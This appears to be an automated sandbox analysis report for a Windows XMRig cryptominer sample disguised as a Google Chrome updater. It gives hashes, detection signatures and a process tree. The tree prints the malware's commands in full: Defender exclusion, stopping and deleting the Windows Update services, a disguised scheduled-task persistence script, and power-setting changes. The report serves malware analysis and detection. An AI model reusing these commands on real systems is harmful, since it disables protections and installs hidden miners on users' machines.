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230329-1c2enaaa35 10Analysis
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max time kernel
1799s -
max time network
1802s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
30-03-2023 13:33
Static task
static1
Behavioral task
behavioral1
Sample
testing.exe
Resource
win7-20230220-en
General
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Target
testing.exe
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Size
2.1MB
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MD5
a12bc9557ad889a49e7b4f970c78dda8
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SHA1
5383b8e6d09d41384281b95f9ccc8e050e7c04fa
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SHA256
9940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
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SHA512
be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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SSDEEP
24576:MHOygNfXDgkB9Y+AVIGckFdi3MUxbw+0AX4xVILyqe7keglf9BHHpRNt05sJNuI6:MuhBSda2+0+4xKLyqewBnfNwsJNO
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
Processes:
testing.exeupdater.execonhost.exedescription pid process target process PID 1240 created 1272 1240 testing.exe Explorer.EXE PID 1240 created 1272 1240 testing.exe Explorer.EXE PID 1240 created 1272 1240 testing.exe Explorer.EXE PID 1240 created 1272 1240 testing.exe Explorer.EXE PID 1240 created 1272 1240 testing.exe Explorer.EXE PID 1776 created 1272 1776 updater.exe Explorer.EXE PID 1776 created 1272 1776 updater.exe Explorer.EXE PID 1776 created 1272 1776 updater.exe Explorer.EXE PID 1776 created 1272 1776 updater.exe Explorer.EXE PID 1708 created 1272 1708 conhost.exe Explorer.EXE PID 1776 created 1272 1776 updater.exe Explorer.EXE PID 1776 created 1272 1776 updater.exe Explorer.EXE -
XMRig Miner payload 31 IoCs
Processes:
resource yara_rule behavioral1/memory/1648-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-134-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-136-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-138-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-140-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-142-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-144-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-146-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-148-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-150-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-152-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-154-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-156-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-158-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-160-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-162-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-164-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-166-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral1/memory/1648-168-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
testing.exeupdater.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts testing.exe File created C:\Windows\System32\drivers\etc\hosts updater.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1776 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2016 taskeng.exe -
Processes:
resource yara_rule behavioral1/memory/1648-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-134-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-136-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-138-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-140-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-142-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-144-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-146-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-148-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-150-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-152-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-154-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-156-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-158-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-160-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-162-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-164-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-166-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral1/memory/1648-168-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 1776 set thread context of 1708 1776 updater.exe conhost.exe PID 1776 set thread context of 1648 1776 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.execmd.exetesting.exeupdater.exedescription ioc process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe testing.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1756 sc.exe 1320 sc.exe 772 sc.exe 1880 sc.exe 456 sc.exe 1140 sc.exe 1840 sc.exe 1956 sc.exe 1512 sc.exe 700 sc.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1016 schtasks.exe 1528 schtasks.exe -
Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 3056fa0f1d63d901 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
Processes:
testing.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1240 testing.exe 1240 testing.exe 1924 powershell.exe 1240 testing.exe 1240 testing.exe 1240 testing.exe 1240 testing.exe 1240 testing.exe 1240 testing.exe 1260 powershell.exe 1240 testing.exe 1240 testing.exe 1172 powershell.exe 1776 updater.exe 1776 updater.exe 1368 powershell.exe 1776 updater.exe 1776 updater.exe 1776 updater.exe 1776 updater.exe 1776 updater.exe 1776 updater.exe 580 powershell.exe 1776 updater.exe 1776 updater.exe 1708 conhost.exe 1708 conhost.exe 1776 updater.exe 1776 updater.exe 1776 updater.exe 1776 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 39 IoCs
Processes:
powershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 1924 powershell.exe Token: SeDebugPrivilege 1260 powershell.exe Token: SeShutdownPrivilege 1528 powercfg.exe Token: SeShutdownPrivilege 2044 powercfg.exe Token: SeShutdownPrivilege 764 powercfg.exe Token: SeShutdownPrivilege 1584 powercfg.exe Token: SeDebugPrivilege 1172 powershell.exe Token: SeDebugPrivilege 1368 powershell.exe Token: SeShutdownPrivilege 688 powercfg.exe Token: SeShutdownPrivilege 1428 powercfg.exe Token: SeShutdownPrivilege 276 powercfg.exe Token: SeShutdownPrivilege 928 powercfg.exe Token: SeDebugPrivilege 580 powershell.exe Token: SeDebugPrivilege 1776 updater.exe Token: SeAssignPrimaryTokenPrivilege 1540 WMIC.exe Token: SeIncreaseQuotaPrivilege 1540 WMIC.exe Token: SeSecurityPrivilege 1540 WMIC.exe Token: SeTakeOwnershipPrivilege 1540 WMIC.exe Token: SeLoadDriverPrivilege 1540 WMIC.exe Token: SeSystemtimePrivilege 1540 WMIC.exe Token: SeBackupPrivilege 1540 WMIC.exe Token: SeRestorePrivilege 1540 WMIC.exe Token: SeShutdownPrivilege 1540 WMIC.exe Token: SeSystemEnvironmentPrivilege 1540 WMIC.exe Token: SeUndockPrivilege 1540 WMIC.exe Token: SeManageVolumePrivilege 1540 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1540 WMIC.exe Token: SeIncreaseQuotaPrivilege 1540 WMIC.exe Token: SeSecurityPrivilege 1540 WMIC.exe Token: SeTakeOwnershipPrivilege 1540 WMIC.exe Token: SeLoadDriverPrivilege 1540 WMIC.exe Token: SeSystemtimePrivilege 1540 WMIC.exe Token: SeBackupPrivilege 1540 WMIC.exe Token: SeRestorePrivilege 1540 WMIC.exe Token: SeShutdownPrivilege 1540 WMIC.exe Token: SeSystemEnvironmentPrivilege 1540 WMIC.exe Token: SeUndockPrivilege 1540 WMIC.exe Token: SeManageVolumePrivilege 1540 WMIC.exe Token: SeLockMemoryPrivilege 1648 conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.execmd.exepowershell.exepowershell.exetaskeng.execmd.execmd.exedescription pid process target process PID 332 wrote to memory of 1756 332 cmd.exe sc.exe PID 332 wrote to memory of 1756 332 cmd.exe sc.exe PID 332 wrote to memory of 1756 332 cmd.exe sc.exe PID 332 wrote to memory of 1140 332 cmd.exe sc.exe PID 332 wrote to memory of 1140 332 cmd.exe sc.exe PID 332 wrote to memory of 1140 332 cmd.exe sc.exe PID 332 wrote to memory of 1320 332 cmd.exe sc.exe PID 332 wrote to memory of 1320 332 cmd.exe sc.exe PID 332 wrote to memory of 1320 332 cmd.exe sc.exe PID 332 wrote to memory of 1840 332 cmd.exe sc.exe PID 332 wrote to memory of 1840 332 cmd.exe sc.exe PID 332 wrote to memory of 1840 332 cmd.exe sc.exe PID 332 wrote to memory of 1956 332 cmd.exe sc.exe PID 332 wrote to memory of 1956 332 cmd.exe sc.exe PID 332 wrote to memory of 1956 332 cmd.exe sc.exe PID 1560 wrote to memory of 1528 1560 cmd.exe powercfg.exe PID 1560 wrote to memory of 1528 1560 cmd.exe powercfg.exe PID 1560 wrote to memory of 1528 1560 cmd.exe powercfg.exe PID 332 wrote to memory of 1488 332 cmd.exe reg.exe PID 332 wrote to memory of 1488 332 cmd.exe reg.exe PID 332 wrote to memory of 1488 332 cmd.exe reg.exe PID 1260 wrote to memory of 1016 1260 powershell.exe schtasks.exe PID 1260 wrote to memory of 1016 1260 powershell.exe schtasks.exe PID 1260 wrote to memory of 1016 1260 powershell.exe schtasks.exe PID 332 wrote to memory of 1344 332 cmd.exe reg.exe PID 332 wrote to memory of 1344 332 cmd.exe reg.exe PID 332 wrote to memory of 1344 332 cmd.exe reg.exe PID 1560 wrote to memory of 2044 1560 cmd.exe powercfg.exe PID 1560 wrote to memory of 2044 1560 cmd.exe powercfg.exe PID 1560 wrote to memory of 2044 1560 cmd.exe powercfg.exe PID 332 wrote to memory of 1484 332 cmd.exe reg.exe PID 332 wrote to memory of 1484 332 cmd.exe reg.exe PID 332 wrote to memory of 1484 332 cmd.exe reg.exe PID 332 wrote to memory of 1708 332 cmd.exe reg.exe PID 332 wrote to memory of 1708 332 cmd.exe reg.exe PID 332 wrote to memory of 1708 332 cmd.exe reg.exe PID 1560 wrote to memory of 764 1560 cmd.exe powercfg.exe PID 1560 wrote to memory of 764 1560 cmd.exe powercfg.exe PID 1560 wrote to memory of 764 1560 cmd.exe powercfg.exe PID 332 wrote to memory of 316 332 cmd.exe reg.exe PID 332 wrote to memory of 316 332 cmd.exe reg.exe PID 332 wrote to memory of 316 332 cmd.exe reg.exe PID 1560 wrote to memory of 1584 1560 cmd.exe powercfg.exe PID 1560 wrote to memory of 1584 1560 cmd.exe powercfg.exe PID 1560 wrote to memory of 1584 1560 cmd.exe powercfg.exe PID 1172 wrote to memory of 1864 1172 powershell.exe schtasks.exe PID 1172 wrote to memory of 1864 1172 powershell.exe schtasks.exe PID 1172 wrote to memory of 1864 1172 powershell.exe schtasks.exe PID 2016 wrote to memory of 1776 2016 taskeng.exe updater.exe PID 2016 wrote to memory of 1776 2016 taskeng.exe updater.exe PID 2016 wrote to memory of 1776 2016 taskeng.exe updater.exe PID 572 wrote to memory of 688 572 cmd.exe powercfg.exe PID 572 wrote to memory of 688 572 cmd.exe powercfg.exe PID 572 wrote to memory of 688 572 cmd.exe powercfg.exe PID 1168 wrote to memory of 772 1168 cmd.exe sc.exe PID 1168 wrote to memory of 772 1168 cmd.exe sc.exe PID 1168 wrote to memory of 772 1168 cmd.exe sc.exe PID 1168 wrote to memory of 1512 1168 cmd.exe sc.exe PID 1168 wrote to memory of 1512 1168 cmd.exe sc.exe PID 1168 wrote to memory of 1512 1168 cmd.exe sc.exe PID 572 wrote to memory of 1428 572 cmd.exe powercfg.exe PID 572 wrote to memory of 1428 572 cmd.exe powercfg.exe PID 572 wrote to memory of 1428 572 cmd.exe powercfg.exe PID 1168 wrote to memory of 700 1168 cmd.exe sc.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\testing.exe"C:\Users\Admin\AppData\Local\Temp\testing.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#mibqiuc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe piwxkhozdwrizr2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe ajhvfdbttvpjvzel 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUDVw9rZbme/VWRaCGMVy5A4KWmOYusR4Ik0iMHdgwpNOcjbYY5GHdN0CGOwXnubuj1k8SXyOPHLg/wcO08HTPQBCprXvYsSFocqjzqXvCOk3makNm0IivIoZ1KZt2YxT6Ci+BE7B/M5vRdKOrAlIyiTLPowHv2xwlgKELrnhNzBo4cDejdbTidr1qPNdTi4IwjcYnuD1ZGEEk854175l0vqhgS0J4NKy9OfqC4ZDiL7DMzbXsHZBHh2Jw55sStIs/MAZNnhxYjBZpkoZpwPghg6VnLEX8RYirlFk+ArUNG/2+FGzSRQ3kSkHyDV437Fza2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {575EBE1D-F838-45D7-802C-051457931E1F} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"4⤵
- Creates scheduled task(s)
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
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C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
